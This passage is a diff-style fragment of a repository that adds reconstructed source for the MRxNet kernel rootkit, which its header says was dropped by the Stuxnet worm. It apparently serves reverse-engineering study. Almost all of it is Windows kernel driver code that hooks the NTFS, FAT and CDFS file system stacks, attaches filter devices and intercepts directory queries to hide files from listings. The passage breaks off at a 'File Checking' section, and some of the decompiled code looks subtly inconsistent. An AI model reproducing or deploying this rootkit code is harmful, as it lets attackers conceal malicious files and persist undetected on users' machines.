if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x60 || NextFastIoDispatch->MdlWriteCompleteCompressed == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->MdlWriteCompleteCompressed)(
|
||||
FileObject,
|
||||
FileOffset,
|
||||
MdlChain,
|
||||
nextDeviceObject);
|
||||
|
||||
}
|
||||
|
||||
BOOLEAN FsFilterFastIoQueryOpen(
|
||||
__in PIRP Irp,
|
||||
__out PFILE_NETWORK_OPEN_INFORMATION NetworkInformation,
|
||||
__in PDEVICE_OBJECT DeviceObject
|
||||
)
|
||||
{
|
||||
//
|
||||
// Pass through logic for this type of Fast I/O
|
||||
//
|
||||
PDEVICE_OBJECT nextDeviceObject;
|
||||
PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(DeviceObject,&nextDeviceObject);
|
||||
if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x64 || NextFastIoDispatch->FastIoQueryOpen == 0){
|
||||
return FALSE;
|
||||
};
|
||||
return (NextFastIoDispatch->FastIoQueryOpen)(
|
||||
Irp,
|
||||
NetworkInformation,
|
||||
nextDeviceObject);
|
||||
}
|
||||
|
||||
VOID SetFastIoDispatch(){
|
||||
g_fastIoDispatch.SizeOfFastIoDispatch = sizeof(FAST_IO_DISPATCH);
|
||||
g_fastIoDispatch.FastIoCheckIfPossible = FsFilterFastIoCheckIfPossible;
|
||||
g_fastIoDispatch.FastIoRead = FsFilterFastIoRead;
|
||||
g_fastIoDispatch.FastIoWrite = FsFilterFastIoWrite;
|
||||
g_fastIoDispatch.FastIoQueryBasicInfo = FsFilterFastIoQueryBasicInfo;
|
||||
g_fastIoDispatch.FastIoQueryStandardInfo = FsFilterFastIoQueryStandardInfo;
|
||||
g_fastIoDispatch.FastIoLock = FsFilterFastIoLock;
|
||||
g_fastIoDispatch.FastIoUnlockSingle = FsFilterFastIoUnlockSingle;
|
||||
g_fastIoDispatch.FastIoUnlockAll = FsFilterFastIoUnlockAll;
|
||||
g_fastIoDispatch.FastIoUnlockAllByKey = FsFilterFastIoUnlockAllByKey;
|
||||
g_fastIoDispatch.FastIoDeviceControl = FsFilterFastIoDeviceControl;
|
||||
g_fastIoDispatch.FastIoDetachDevice = FsFilterFastIoDetachDevice;
|
||||
g_fastIoDispatch.FastIoQueryNetworkOpenInfo = FsFilterFastIoQueryNetworkOpenInfo;
|
||||
g_fastIoDispatch.MdlRead = FsFilterFastIoMdlRead;
|
||||
g_fastIoDispatch.MdlReadComplete = FsFilterFastIoMdlReadComplete;
|
||||
g_fastIoDispatch.PrepareMdlWrite = FsFilterFastIoPrepareMdlWrite;
|
||||
g_fastIoDispatch.MdlWriteComplete = FsFilterFastIoMdlWriteComplete;
|
||||
g_fastIoDispatch.FastIoReadCompressed = FsFilterFastIoReadCompressed;
|
||||
g_fastIoDispatch.FastIoWriteCompressed = FsFilterFastIoWriteCompressed;
|
||||
g_fastIoDispatch.MdlReadCompleteCompressed = FsFilterFastIoMdlReadCompleteCompressed;
|
||||
g_fastIoDispatch.MdlWriteCompleteCompressed = FsFilterFastIoMdlWriteCompleteCompressed;
|
||||
g_fastIoDispatch.FastIoQueryOpen = FsFilterFastIoQueryOpen;
|
||||
DriverObject->FastIoDispatch = &g_fastIoDispatch;
|
||||
};
|
||||
15
Rootkit/LICENSE
Normal file
15
Rootkit/LICENSE
Normal file
@@ -0,0 +1,15 @@
|
||||
Copyright (C) 2010-2011 Amr Thabet <amr.thabet@student.alx.edu.eg>
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to Amr Thabet
|
||||
amr.thabet@student.alx.edu.eg
|
||||
699
Rootkit/main.c
Normal file
699
Rootkit/main.c
Normal file
@@ -0,0 +1,699 @@
|
||||
/*++
|
||||
|
||||
Copyright (C) 2010-2011 Amr Thabet <amr.thabet[at]student.alx.edu.eg>
|
||||
|
||||
Module Name:
|
||||
|
||||
mrxnet.c
|
||||
|
||||
Abstract:
|
||||
|
||||
This Module Contain The reversed MRxNet rootkit dropped by Stuxnet worm.
|
||||
|
||||
Licence:
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program; if not, write to Amr Thabet
|
||||
amr.thabet@student.alx.edu.eg
|
||||
|
||||
Environment:
|
||||
|
||||
Kernel mode
|
||||
|
||||
--*/
|
||||
|
||||
//Decleration
|
||||
//------------
|
||||
|
||||
#include <ntifs.h>
|
||||
|
||||
typedef struct _DEVICE_EXTENSION
|
||||
{
|
||||
PDEVICE_OBJECT AttachedDevice;
|
||||
PDEVICE_OBJECT RealDevice; //Used in File System Control
|
||||
|
||||
}_DEVICE_EXTENSION, *PDEVICE_EXTENSION;
|
||||
|
||||
extern POBJECT_TYPE* IoDriverObjectType;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Object;
|
||||
PDEVICE_OBJECT DeviceObject;
|
||||
}ReferencedObject;
|
||||
|
||||
|
||||
//Data:
|
||||
//-----
|
||||
|
||||
FAST_IO_DISPATCH g_fastIoDispatch;
|
||||
PDRIVER_OBJECT DriverObject;
|
||||
PDEVICE_OBJECT DeviceObject;
|
||||
PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName";
|
||||
PCWSTR FileSystemsArray[3] = {
|
||||
L"\\FileSystem\\ntfs",
|
||||
L"\\FileSystem\\fastfat",
|
||||
L"\\FileSystem\\cdfs",
|
||||
};
|
||||
|
||||
PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5f-9430-1A310CE4BE0A}";
|
||||
PCWSTR DebugMSG = L"b:\\myrtus\\src\\objfre_w2k_x86\\i386\\guava.pdb";
|
||||
|
||||
|
||||
//ProtoTyping:
|
||||
//------------
|
||||
|
||||
#define FUNC NTSTATUS (*ObReferenceObjectByNameFunc)(PUNICODE_STRING ObjectName,\
|
||||
ULONG Attributes,\
|
||||
PACCESS_STATE AccessState,\
|
||||
ACCESS_MASK DesiredAccess,\
|
||||
POBJECT_TYPE ObjectType,\
|
||||
KPROCESSOR_MODE AccessMode,\
|
||||
PVOID ParseContext OPTIONAL,\
|
||||
PVOID* Object)
|
||||
|
||||
VOID SetFastIoDispatch();
|
||||
NTSTATUS HookingFileSystems();
|
||||
VOID HookOne(FUNC,PCWSTR FileSystem);
|
||||
VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command);
|
||||
VOID AttachDevice(PDEVICE_OBJECT TargetDevice);
|
||||
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice);
|
||||
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice);
|
||||
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice);
|
||||
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
|
||||
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension);
|
||||
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
||||
VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp);
|
||||
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
||||
NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
|
||||
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice);
|
||||
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
||||
VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp);
|
||||
NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context);
|
||||
VOID FreeMdl(PIRP Irp,PMDL* Context);
|
||||
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack);
|
||||
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext);
|
||||
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context);
|
||||
ULONG GetOffsets(ULONG FileInformationClass,ULONG* EndOfFile,ULONG* FilenameOffset,ULONG* FilenameLength);
|
||||
ULONG FileCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfFile,ULONG FilenameOffset,ULONG FilenameLength);
|
||||
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size);
|
||||
ULONG TMPCheck(PCWSTR Filename,int Length,int LowPart,int HighPart);
|
||||
|
||||
|
||||
//Functions:
|
||||
//----------
|
||||
|
||||
VOID CallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
||||
{
|
||||
|
||||
Irp->CurrentLocation++;
|
||||
Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24);
|
||||
IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
|
||||
};
|
||||
|
||||
|
||||
VOID IRPDispatchRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
||||
{
|
||||
return CallDriver(DeviceObject,Irp);
|
||||
|
||||
}
|
||||
|
||||
|
||||
VOID SetZero(PDEVICE_EXTENSION DeviceExtention,ULONG Value){
|
||||
DeviceExtention->AttachedDevice=(PDEVICE_OBJECT)0;
|
||||
DeviceExtention->RealDevice=(PDEVICE_OBJECT)0;
|
||||
DeviceExtention->RealDevice=(PDEVICE_OBJECT)Value;
|
||||
};
|
||||
|
||||
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
Driver Entry
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
|
||||
|
||||
NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING theRegistryPath )
|
||||
{
|
||||
int i;
|
||||
NTSTATUS status;
|
||||
DriverObject=pDriverObject;
|
||||
status=IoCreateDevice(DriverObject, sizeof(_DEVICE_EXTENSION),0,FILE_DEVICE_DISK_FILE_SYSTEM,0x100,0,&DeviceObject);
|
||||
if (status!=STATUS_SUCCESS){
|
||||
IoDeleteDevice(DeviceObject);
|
||||
return 0;
|
||||
}
|
||||
SetZero(DeviceObject->DeviceExtension,0);
|
||||
for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
|
||||
{
|
||||
DriverObject->MajorFunction[i] = IRPDispatchRoutine;
|
||||
}
|
||||
DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = OnFileSystemControl;
|
||||
DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = OnDirectoryControl;
|
||||
SetFastIoDispatch();
|
||||
HookingFileSystems();
|
||||
status = IoRegisterFsRegistrationChange( DriverObject, (PDRIVER_FS_NOTIFICATION)DriverNotificationRoutine);
|
||||
if (status!=STATUS_SUCCESS){
|
||||
IoDeleteDevice(DeviceObject);
|
||||
DriverObject->FastIoDispatch = 0;
|
||||
return status; //Error
|
||||
}
|
||||
return STATUS_SUCCESS;
|
||||
};
|
||||
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
Hooking File Systems
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
|
||||
NTSTATUS HookingFileSystems()
|
||||
{
|
||||
UNICODE_STRING SystemRoutineName;
|
||||
int i;
|
||||
ULONG (*FunctionAddress)();
|
||||
RtlInitUnicodeString(&SystemRoutineName,aObreferenceobjectbyname);
|
||||
FunctionAddress = MmGetSystemRoutineAddress(&SystemRoutineName);
|
||||
if (FunctionAddress == 0)return 0;
|
||||
for (i = 0; i < 3;i++){
|
||||
HookOne(FunctionAddress,FileSystemsArray[i]);
|
||||
};
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
VOID HookOne(FUNC,PCWSTR FileSystem)
|
||||
{
|
||||
UNICODE_STRING DestinationString;
|
||||
NTSTATUS Status;
|
||||
PDEVICE_OBJECT AttachObject;
|
||||
Status = STATUS_SUCCESS;
|
||||
RtlInitUnicodeString(&DestinationString,FileSystem);
|
||||
Status = (*ObReferenceObjectByNameFunc)(&DestinationString,0x40,0,0,*IoDriverObjectType,0,0,(PVOID)&FileSystem);
|
||||
if (Status!=STATUS_SUCCESS){
|
||||
return;
|
||||
};
|
||||
AttachObject=0;
|
||||
AttachObject =((ReferencedObject*)FileSystem)->DeviceObject;
|
||||
while (AttachObject != 0)
|
||||
{
|
||||
DriverNotificationRoutine(AttachObject,1);
|
||||
AttachObject = (PDEVICE_OBJECT)*((int*)((ULONG)AttachObject + (ULONG)0x0C)); //Next Element
|
||||
};
|
||||
ObDereferenceObject(((ReferencedObject*)FileSystem));
|
||||
};
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
Driver Notification Routine
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
#define COMMAND_ATTACH 1
|
||||
#define COMMAND_DETACH 0
|
||||
VOID DriverNotificationRoutine(PDEVICE_OBJECT TargetDevice,int command)
|
||||
{
|
||||
PDEVICE_OBJECT AttachedDevice;
|
||||
|
||||
if (command == COMMAND_ATTACH){
|
||||
AttachDevice(TargetDevice);
|
||||
}else{
|
||||
AttachedDevice=TargetDevice->AttachedDevice;
|
||||
while(AttachedDevice !=0){
|
||||
if (IsMyDevice(AttachedDevice) == TRUE){
|
||||
IoDetachDevice(TargetDevice);
|
||||
IoDeleteDevice(AttachedDevice);
|
||||
break;
|
||||
};
|
||||
TargetDevice=AttachedDevice; //The parent Device (to detach)
|
||||
AttachedDevice=TargetDevice->AttachedDevice; //Get The Next Attached Device
|
||||
};
|
||||
|
||||
};
|
||||
};
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
Attaching Device
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
VOID AttachDevice(PDEVICE_OBJECT TargetDevice)
|
||||
{
|
||||
|
||||
PDEVICE_OBJECT SourceDevice;
|
||||
if (TargetDevice->DeviceType == FILE_DEVICE_DISK_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_CD_ROM_FILE_SYSTEM || TargetDevice->DeviceType == FILE_DEVICE_NETWORK_FILE_SYSTEM)
|
||||
{
|
||||
if (IsAllreadyAttached(TargetDevice) == TRUE) return;
|
||||
if (CreateDevice(TargetDevice,&SourceDevice) != STATUS_SUCCESS)return;
|
||||
SettingFlags(SourceDevice,TargetDevice);
|
||||
SetZero(SourceDevice->DeviceExtension,0);
|
||||
if (AttachToStack(SourceDevice,TargetDevice,SourceDevice->DeviceExtension)!= TRUE){
|
||||
IoDeleteDevice(SourceDevice);
|
||||
return;
|
||||
};
|
||||
};
|
||||
};
|
||||
BOOLEAN IsAllreadyAttached(PDEVICE_OBJECT TargetDevice)
|
||||
{
|
||||
PDEVICE_OBJECT AttachedDevice;
|
||||
if(TargetDevice != 0){
|
||||
AttachedDevice=TargetDevice->AttachedDevice;
|
||||
while(AttachedDevice !=0){
|
||||
if (AttachedDevice->DriverObject == DriverObject && AttachedDevice->DeviceExtension !=0){
|
||||
return TRUE; //Allready Attached
|
||||
};
|
||||
AttachedDevice=AttachedDevice->AttachedDevice; //Get The Next Attached Device
|
||||
};
|
||||
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
NTSTATUS CreateDevice(PDEVICE_OBJECT TargetDevice,PDEVICE_OBJECT *SourceDevice)
|
||||
{
|
||||
return IoCreateDevice(DriverObject,sizeof(_DEVICE_EXTENSION),0,TargetDevice->DeviceType,0,0,SourceDevice);
|
||||
|
||||
}
|
||||
|
||||
BOOLEAN IsMyDevice(PDEVICE_OBJECT TargetDevice)
|
||||
{
|
||||
if (TargetDevice != 0 && TargetDevice->DriverObject == DriverObject){
|
||||
return TRUE; //Allready Attached
|
||||
};
|
||||
return FALSE;
|
||||
};
|
||||
|
||||
VOID SettingFlags(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice)
|
||||
{
|
||||
DeviceObject->Flags |= (TargetDevice->Flags & (0x40000 | 0x10 | DO_BUFFERED_IO));
|
||||
DeviceObject->Characteristics |= (TargetDevice->Characteristics & FILE_DEVICE_SECURE_OPEN);
|
||||
};
|
||||
|
||||
BOOLEAN AttachToStack(PDEVICE_OBJECT SourceDevice,PDEVICE_OBJECT TargetDevice,PDEVICE_EXTENSION DeviceExtension)
|
||||
{
|
||||
DeviceExtension->AttachedDevice = TargetDevice;
|
||||
if (IoAttachDeviceToDeviceStack(SourceDevice,TargetDevice) == STATUS_SUCCESS){
|
||||
return TRUE;
|
||||
};
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
File System Control
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
|
||||
VOID OnFileSystemControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
||||
{
|
||||
if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_MOUNT_VOLUME){
|
||||
SetCompletionFileControl(DeviceObject,Irp);
|
||||
}else{
|
||||
return CallDriver(DeviceObject,Irp);
|
||||
}
|
||||
};
|
||||
|
||||
VOID SetCompletionFileControl(PDEVICE_OBJECT TargetDevice,PIRP Irp)
|
||||
{
|
||||
PDEVICE_OBJECT DeviceObject = 0;
|
||||
if (CreateDevice(TargetDevice,&DeviceObject) != STATUS_SUCCESS){
|
||||
Irp->IoStatus.Information=0;
|
||||
Irp->IoStatus.Status=STATUS_SUCCESS;
|
||||
IoCompleteRequest(Irp,0);
|
||||
return;
|
||||
};
|
||||
SetZero(DeviceObject->DeviceExtension,Irp->Tail.Overlay.CurrentStackLocation->Parameters.MountVolume.Vpb->RealDevice);
|
||||
if (SetFSCompletionRoutine(DeviceObject,Irp) == 0){
|
||||
Irp->CurrentLocation++;
|
||||
Irp->Tail.Overlay.CurrentStackLocation = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation + (ULONG)sizeof(IO_STACK_LOCATION));// 0x24);
|
||||
};
|
||||
return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
|
||||
};
|
||||
|
||||
|
||||
NTSTATUS SetFSCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
||||
{
|
||||
int i;
|
||||
ULONG* CurrentStack;
|
||||
ULONG* PrevStack;
|
||||
PIO_STACK_LOCATION PrevIrpStack;
|
||||
PDEVICE_OBJECT* Buff=ExAllocatePool(0,4);
|
||||
if (Buff==0){
|
||||
return 0;
|
||||
};
|
||||
*Buff = DeviceObject;
|
||||
CurrentStack = Irp->Tail.Overlay.CurrentStackLocation;
|
||||
PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
||||
|
||||
for (i = 0;i<8;i++){
|
||||
PrevStack[i]=CurrentStack[i];
|
||||
};
|
||||
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
||||
PrevIrpStack->Control=0;
|
||||
PrevIrpStack->Context = Buff;
|
||||
PrevIrpStack->CompletionRoutine = FileControlCompletionRoutine;
|
||||
PrevIrpStack->Control=0xE0;
|
||||
return 1;
|
||||
};
|
||||
|
||||
|
||||
NTSTATUS FileControlCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context)
|
||||
{
|
||||
PDEVICE_OBJECT TargetDevice;
|
||||
TargetDevice = ((PDEVICE_EXTENSION)((*Context)->DeviceExtension))->RealDevice->Vpb->DeviceObject;
|
||||
if (Irp->IoStatus.Status != STATUS_SUCCESS)
|
||||
{
|
||||
IoDeleteDevice(DeviceObject);
|
||||
ExFreePoolWithTag(Context,0);
|
||||
}
|
||||
if (IsAllreadyAttached(TargetDevice) == TRUE){
|
||||
IoDeleteDevice(DeviceObject);
|
||||
ExFreePoolWithTag(Context,0);
|
||||
return STATUS_SUCCESS;
|
||||
};
|
||||
if (AttachDelayThread(*Context,TargetDevice) != TRUE){
|
||||
IoDeleteDevice(DeviceObject);
|
||||
};
|
||||
ExFreePoolWithTag(Context,0);
|
||||
return STATUS_SUCCESS;
|
||||
};
|
||||
|
||||
BOOLEAN AttachDelayThread(PDEVICE_OBJECT DeviceObject,PDEVICE_OBJECT TargetDevice)
|
||||
{
|
||||
LARGE_INTEGER Interval;
|
||||
int i;
|
||||
SettingFlags(DeviceObject,TargetDevice);
|
||||
for ( i = 0;i<8 ;i++){
|
||||
if (AttachToStack(DeviceObject,TargetDevice,DeviceObject->DeviceExtension)== TRUE){
|
||||
return TRUE;
|
||||
};
|
||||
*((ULONG*)((ULONG)&Interval+(ULONG)4)) = -1;
|
||||
*((ULONG*)&Interval) = -5000000;
|
||||
KeDelayExecutionThread(0,FALSE,&Interval);
|
||||
};
|
||||
return FALSE;
|
||||
};
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
Directory Control
|
||||
|
||||
----------------------------------------------------------------------**/
|
||||
|
||||
VOID OnDirectoryControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
||||
{
|
||||
if (Irp->Tail.Overlay.CurrentStackLocation->MinorFunction == IRP_MN_QUERY_DIRECTORY){
|
||||
SetCompletionDirControl(DeviceObject,Irp);
|
||||
}else{
|
||||
return CallDriver(DeviceObject,Irp);
|
||||
}
|
||||
};
|
||||
|
||||
VOID SetCompletionDirControl(PDEVICE_OBJECT DeviceObject,PIRP Irp)
|
||||
{
|
||||
PUNICODE_STRING Filename;
|
||||
PIO_STACK_LOCATION CurrentStack;
|
||||
PIO_STACK_LOCATION PrevStack;
|
||||
PIO_STACK_LOCATION PrevIrpStack;
|
||||
int i;
|
||||
CurrentStack = Irp->Tail.Overlay.CurrentStackLocation;
|
||||
if (!(CurrentStack->FileObject->Flags & 0x400000) && CurrentStack->FileObject != 0){
|
||||
Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileName = 0; //Clear Filename
|
||||
if (CurrentStack->FileObject != 0)CurrentStack->FileObject->Flags &= 0x400000;
|
||||
CallDriver(DeviceObject,Irp);
|
||||
}
|
||||
Filename = CurrentStack->Parameters.QueryDirectory.FileName;
|
||||
if (Filename != 0 && Filename->Length == 0x4C /*The Size of BannedDirectory*/ ){
|
||||
for (i =0;i< 19; i++)
|
||||
{
|
||||
if ((ULONG)BannedDirecoty[i] == (ULONG)Filename->Buffer[i]){
|
||||
goto Error;
|
||||
};
|
||||
};
|
||||
goto Inject;
|
||||
Error:
|
||||
|
||||
CurrentStack->Parameters.QueryDirectory.FileName = 0; //Clear Filename
|
||||
if (Irp->Tail.Overlay.CurrentStackLocation->FileObject != 0)Irp->Tail.Overlay.CurrentStackLocation->FileObject->Flags &= 0x400000;
|
||||
CallDriver(DeviceObject,Irp);
|
||||
return;
|
||||
};
|
||||
|
||||
Inject:
|
||||
|
||||
CurrentStack->Control=1;
|
||||
PrevStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
||||
|
||||
for (i = 0;i<8;i++){
|
||||
PrevStack[i]=CurrentStack[i];
|
||||
};
|
||||
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
||||
PrevIrpStack->Control = 0;
|
||||
PrevIrpStack->Context = 0;
|
||||
PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine;
|
||||
PrevIrpStack->Control=0xE0;
|
||||
return IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Irp);
|
||||
};
|
||||
|
||||
|
||||
NTSTATUS DirectoryCompletionRoutine(PDEVICE_OBJECT DeviceObject,PIRP Irp,PDEVICE_OBJECT* Context)
|
||||
{
|
||||
ULONG EndOfFile;
|
||||
ULONG FilenameOffset;
|
||||
ULONG LclContext;
|
||||
ULONG FilenameLength;
|
||||
PVOID mmFiles;
|
||||
LclContext = (ULONG)Context;
|
||||
if (Irp->IoStatus.Status != STATUS_SUCCESS){
|
||||
FreeMdl(Irp,LclContext);
|
||||
return 0;
|
||||
};
|
||||
if (GetOffsets(Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.FileInformationClass, \
|
||||
&EndOfFile,&FilenameOffset,&FilenameLength) == 0){
|
||||
FreeMdl(Irp,LclContext);
|
||||
return 0;
|
||||
};
|
||||
if (Irp->MdlAddress != 0){
|
||||
if (Irp->MdlAddress->MdlFlags == 5){
|
||||
//maps the physical pages that are described by The MDL to a virtual address
|
||||
mmFiles=MmMapLockedPagesSpecifyCache(Irp->MdlAddress,0,MmCached,0,0,0x10);
|
||||
if (mmFiles == 0){
|
||||
FreeMdl(Irp,LclContext);
|
||||
return 0;
|
||||
};
|
||||
}else if (Irp->MdlAddress->MappedSystemVa == 0){
|
||||
FreeMdl(Irp,LclContext);
|
||||
return 0;
|
||||
};
|
||||
}else{
|
||||
mmFiles=Irp->UserBuffer;
|
||||
};
|
||||
if (FileCheck(mmFiles,Irp->Tail.Overlay.CurrentStackLocation->Parameters.QueryDirectory.Length, \
|
||||
EndOfFile,FilenameOffset,FilenameLength) != 0){
|
||||
Irp->IoStatus.Status = STATUS_SUCCESS;
|
||||
FreeMdl(Irp,Context);
|
||||
return 0;
|
||||
};
|
||||
if (Irp->MdlAddress == 0){
|
||||
LclContext = ExAllocatePool(0,4);
|
||||
if (LclContext == 0 || AllocateMdl(LclContext,Irp,Irp->Tail.Overlay.CurrentStackLocation) == 0){
|
||||
FreeMdl(Irp,LclContext);
|
||||
Irp->IoStatus.Status=0x0C000009A;
|
||||
return 0;
|
||||
};
|
||||
};
|
||||
Irp->IoStatus.Status = CreateWorkRoutine(DeviceObject,Irp->Tail.Overlay.CurrentStackLocation,Irp,LclContext);
|
||||
return;
|
||||
};
|
||||
|
||||
VOID FreeMdl(PIRP Irp,PMDL* Context)
|
||||
{
|
||||
if (Irp->MdlAddress == *Context){
|
||||
Irp->MdlAddress=0;
|
||||
MmUnlockPages((PMDL)*Context);
|
||||
IoFreeMdl(*Context);
|
||||
};
|
||||
ExFreePoolWithTag(*Context,0);
|
||||
|
||||
};
|
||||
|
||||
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_STACK_LOCATION CurrentStack)
|
||||
{
|
||||
PMDL pMdl;
|
||||
pMdl = IoAllocateMdl(Irp->UserBuffer,CurrentStack->Parameters.QueryDirectory.Length,0,0,Irp);
|
||||
if (pMdl ==0){
|
||||
return 0;
|
||||
};
|
||||
MmProbeAndLockPages(pMdl,0,IoModifyAccess);
|
||||
Irp->MdlAddress = pMdl;
|
||||
*LclContext = pMdl;
|
||||
return 1;
|
||||
};
|
||||
|
||||
ULONG CreateWorkRoutine(PDEVICE_OBJECT DeviceObject,PIO_STACK_LOCATION CurrentStack,PIRP Irp,PVOID LclContext)
|
||||
{
|
||||
PLARGE_INTEGER pPool;
|
||||
PIO_STACK_LOCATION PrevIrpStack;
|
||||
int i;
|
||||
pPool = ExAllocatePool(0,8);
|
||||
if (pPool == 0){
|
||||
return 0xC000009A;
|
||||
};
|
||||
pPool->u.LowPart = IoAllocateWorkItem(DeviceObject);
|
||||
if (pPool->u.LowPart == 0){
|
||||
return 0xC000009A;
|
||||
};
|
||||
pPool->u.HighPart=Irp;
|
||||
CurrentStack->Flags &= 0xFE;
|
||||
CurrentStack->Parameters.QueryDirectory.FileIndex =0;
|
||||
Irp->Tail.Overlay.CurrentStackLocation->Control |= 1;
|
||||
PrevIrpStack = ((ULONG)Irp->Tail.Overlay.CurrentStackLocation - (ULONG)sizeof(IO_STACK_LOCATION));
|
||||
for (i = 0;i<8;i++){
|
||||
PrevIrpStack[i]=CurrentStack[i];
|
||||
};
|
||||
PrevIrpStack->Control=0;
|
||||
PrevIrpStack->Context = LclContext;
|
||||
PrevIrpStack->CompletionRoutine = DirectoryCompletionRoutine;
|
||||
PrevIrpStack->Control=0xE0;
|
||||
IoQueueWorkItem(pPool->u.LowPart,WorkerRoutine,1,pPool);
|
||||
return 0xC0000016;
|
||||
};
|
||||
|
||||
NTSTATUS WorkerRoutine(PDEVICE_OBJECT DeviceObject,PLARGE_INTEGER Context)
|
||||
{
|
||||
IoCallDriver(((PDEVICE_EXTENSION)(DeviceObject->DeviceExtension))->AttachedDevice,Context->u.HighPart);
|
||||
IoFreeWorkItem(Context->u.LowPart);
|
||||
ExFreePoolWithTag(Context,0);
|
||||
return STATUS_SUCCESS;
|
||||
};
|
||||
|
||||
/**-------------------------------------------------------------------
|
||||
|
||||
File Checking
|
||||
|
||||
